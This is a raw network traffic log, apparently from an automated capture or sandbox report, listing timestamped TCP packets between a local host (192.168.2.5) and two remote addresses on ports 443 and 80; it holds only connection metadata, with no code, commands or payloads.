Dec 27, 2024 08:54:40.641360998 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.641506910 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.641546011 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.641680956 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.641726017 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.641868114 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.641891003 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.641899109 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.641921043 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.642033100 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.642056942 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.642067909 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.642088890 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.642275095 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.642304897 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.683335066 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.683490992 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.683516026 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.683528900 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.683545113 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.683566093 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.683577061 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:40.683582067 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:40.683584929 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:44.376511097 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:44.376602888 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:44.376761913 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:44.376950026 CET	49712	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:44.376969099 CET	443	49712	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:44.706749916 CET	49722	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:44.706800938 CET	443	49722	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:44.710403919 CET	49722	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:44.710763931 CET	49722	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:44.710783005 CET	443	49722	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:45.922586918 CET	443	49722	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:45.922657013 CET	49722	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:45.924185991 CET	49722	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:45.924200058 CET	443	49722	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:45.924487114 CET	443	49722	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:45.935199976 CET	49722	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:45.935228109 CET	49722	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:45.935350895 CET	443	49722	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:46.700833082 CET	443	49722	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:46.700937986 CET	443	49722	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:46.701015949 CET	49722	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:46.701258898 CET	49722	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:46.701281071 CET	443	49722	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:46.701292992 CET	49722	443	192.168.2.5	172.67.165.185
Dec 27, 2024 08:54:46.701298952 CET	443	49722	172.67.165.185	192.168.2.5
Dec 27, 2024 08:54:46.771967888 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:46.891721010 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:46.891802073 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:46.891962051 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:47.011497974 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.223397017 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.223493099 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.223505020 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.223572969 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.223607063 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.223618984 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.223625898 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.223632097 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.223643064 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.223668098 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.223736048 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.223771095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.223782063 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.223817110 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.343203068 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.343219995 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.343344927 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.415775061 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.415836096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.415904999 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.419909000 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.419990063 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.420061111 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.428261995 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.428384066 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.428457975 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.436647892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.436755896 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.436805964 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.445040941 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.445159912 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.445218086 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.453448057 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.453537941 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.453592062 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.461863995 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.461939096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.462003946 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.470216990 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.470354080 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.470406055 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.478595972 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.478712082 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.478785992 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.486984968 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.487093925 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.487147093 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.495439053 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.495539904 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.495592117 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.535415888 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.580672026 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.607784033 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.607820034 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.607873917 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.610263109 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.610409021 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.610445023 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.615276098 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.615391016 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.615436077 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.620351076 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.620471954 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.620516062 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.625442982 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.625547886 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.625612974 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.630248070 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.630361080 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.630428076 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.635093927 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.635186911 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.635241032 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.639908075 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.640002966 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.640052080 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.644757986 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.644862890 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.644918919 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.649605989 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.649755001 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.649909973 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.654423952 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.654553890 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.654598951 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.659322977 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.659396887 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.659440994 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.664113998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.664216995 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.664271116 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.668977022 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.669091940 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.669137955 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.673801899 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.673937082 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.673991919 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.678689957 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.678780079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.678828001 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.683562994 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.683624029 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.683675051 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.688378096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.688457012 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.688508034 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.693242073 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.693336964 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.693392038 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.698025942 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.752558947 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.799820900 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.799901009 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.799957991 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.801837921 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.802032948 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.802077055 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.805624962 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.805650949 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.805694103 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.809535027 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.809626102 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.809679985 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.813385010 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.813482046 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.813529015 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.817150116 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.817305088 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.817353010 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.820833921 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.820959091 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.821011066 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.824352026 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.824476004 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.824520111 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.827991962 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.828138113 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.828185081 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.831465006 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.831538916 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.831582069 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.834985971 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.835081100 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.835130930 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.838555098 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.838658094 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.838701010 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.842108965 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.842206955 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.842252016 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.845696926 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.845807076 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.845851898 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.849229097 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.849330902 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.849380970 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.852799892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.852814913 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.852866888 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.856301069 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.856405973 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.856456041 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.859862089 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.860014915 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.860061884 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.863425970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.863533974 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.863584042 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.866965055 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.867101908 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.867152929 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.870496988 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.870645046 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.870692015 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.874078989 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.874164104 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.874209881 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.877614975 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.877712011 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.877758980 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.881170034 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.881345034 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.881395102 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.884741068 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.884835005 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.884885073 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.888248920 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.888358116 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.888405085 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.891794920 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.891902924 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.891952038 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.895360947 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.895440102 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.895490885 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.898931026 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.899050951 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.899101973 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.902448893 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.902565956 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.902612925 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.906088114 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.906177998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.906225920 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.909548044 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.955688953 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.992207050 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.992393970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.992594957 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.993690014 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.993824959 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.993868113 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.996413946 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.996543884 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.996587992 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:48.999335051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.999366999 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:48.999412060 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.002188921 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.002367973 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.002412081 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.005009890 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.005131960 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.005181074 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.007855892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.007956028 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.008002043 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.010483027 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.010626078 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.010674000 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.013058901 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.013145924 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.013195992 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.015602112 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.015685081 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.015737057 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.018299103 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.018441916 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.018493891 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.020679951 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.020781040 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.020837069 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.023150921 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.023247004 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.023291111 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.025626898 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.025754929 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.025810957 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.028012991 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.028172016 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.028230906 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.030472040 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.030548096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.030596018 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.032756090 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.032866955 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.032912970 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.035130024 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.035214901 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.035262108 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.037477970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.037590027 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.037635088 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.039805889 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.039998055 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.040043116 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.042159081 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.042279005 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.042320013 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.044504881 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.044614077 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.044665098 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.046879053 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.046988010 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.047118902 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.049288988 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.049405098 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.049449921 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.051562071 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.051687956 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.051728010 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.053961992 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.054111958 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.054158926 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:54:49.056276083 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 08:54:49.056361914 CET	80	49728	185.215.113.16	192.168.2.5
